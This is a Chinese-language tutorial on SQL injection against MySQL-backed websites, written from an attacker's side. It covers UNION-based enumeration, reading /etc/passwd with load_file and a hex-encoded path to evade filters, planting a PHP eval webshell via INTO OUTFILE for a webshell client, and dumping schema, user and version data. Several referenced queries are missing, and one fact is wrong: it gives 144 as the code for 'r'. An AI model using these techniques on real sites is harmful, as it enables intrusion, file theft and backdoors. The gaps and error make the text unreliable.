黑客攻防之SQL注入原理解析入门教程

出现的关键名词有： UNION SELECT load_file hex

为了方便说明我们先创建两个表：hehe和heihei，很明显它们一个拥有2列属性，一个拥有3列属性

==========================================================================================

一. UNION 的原理UNION 需要两个被select的集合拥有相同的列数。一开始我并不是很理解这个相同是什么，然后我做了个实验：这个错误提示很明显了：ERROR 1222 (21000): The used SELECT statements have a different number of columns因为它们select出来的结果集的列数不一致，这对一个操作并集合的union来说是不可操作的，所以就报错了。那么是不是只要保证两个结果集的列数相同就好了呢，我们继续做实验，
这个结果也是很明显：OK !!!总结：union连结的两个结果集的列数要相等！
那么我们是怎么利用UNION搞注入呢？（1）猜解表名，只有猜解对了表名才能继续深入。用这句：

如果表名存在就返回结果集：
总结：在实战中我们可以用exsits()猜解表名
(2)用UNION猜解列数（- - 终于用到了UNION）原理是：利用两边结果集必须相等列数！

如图，第一次我们猜测两列（1,2）失败了，第二次我们猜测三列（1,2,3）成功了。总结：我们用and union select 1,2,3,4,5,6...;来猜解列数，只有列数相等了，才能返回True！
(3)猜解列名用猜解表名的方法：

如图，第一次我们猜解有个列名为name1，报错了，第二次我们猜解列名为name，返回正常，说明真的有个列名为name！总结：用 select * from hehe where id=3 and exists(select name from hehe);来猜解列名！
(4)猜解字段内容这个通过步骤三我们已经猜解出列名：name和id了。那么怎么让它们暴出内容呢？用：

总结：知道列名后，把列名至于其中任意位置，就能在那个位置暴出列的内容来。实战中不是每一个列的内容都显示在web page上的，所以有的人就先用:


总结：“A语句 UNION B语句” 中的这个UNION就是把最终的结果集放到“A语句"的属性（列）下。上图上结果是把0，放到列1下，把load_file("d:/tes.txt")的内容放到列2下，把count(*)返回的结果放到列3下。很科学地达到了我们读取服务器文件的目的。
Ps：上面的 1=2 看到了吗？是让”A语句“查询结果为空，看着舒服。Ps：这个load_file()用在MySQL中

load_file的过滤实战中URL写成load_file("/etc/passwd")一般会被过滤，所以不科学，不过我们可以用16进制来表示（hex）就好啦：打开UltraEdit，然后把 /etc/passwd 放到里面，然后右键有个16进制编辑，然后就看到了16进制了：0x2F6574632F706173737764，知道为什么要加这个“0x”吗？因为它是16进制。。。
Ps：经验哦~如果过滤了空格就用“+”表示

三 用select  into   outfile 把一句话木马写进文件 


然后我们将会看到：
里面有一句话木马： <?php   eval($_POST[cmd]) ?> 然后就能用菜刀去连接了。（什么不知道什么叫做一句话木马？什么叫做菜刀？赶紧去google吧）总结：获得数据库权限真的是一件好事啊~~
四.用系统函数+UNOIN暴出数据库的信息（如果web不禁用，极其高效！）information_schema.SCHEMATA表中的SCHEMA_NAME 查看所有的数据库：



information_schema.TABLES 表中的TABLE_NAME和TABLE_SCHEMA查看所有的表名和所在的数据库：


information_schema.COLUMNS 表中的 COLUMN_NAME 查看表中的所有列名：


version() 版本（看第一列）：

database() 当前数据库名字（看第一列）：

user() 当前用户（看第一列）：

@@global.version_compile_os  操作系统（看第一列）：


and ord(mid(user(),1,1))=144查看数据库权限（注意144就是字符”r“，也就是”root“的第一个字符）：
Ps：有更好的unoin select user(),2,3 ;不用？ 不是的，因为实战中有的web不准用。用这个就可以来查看数据库权限啦~Ps：ord()，若字符串str 的最左字符是一个多字节字符，则返回该字符的代码。（多字节。。有意思。。）
总结：这个information_schema数据库是个特别强大的数据库，里面包含的表很多，有SCHEMATAS（数据库信息），TABLES（表信息）,COLUMNS（列信息）等等。。。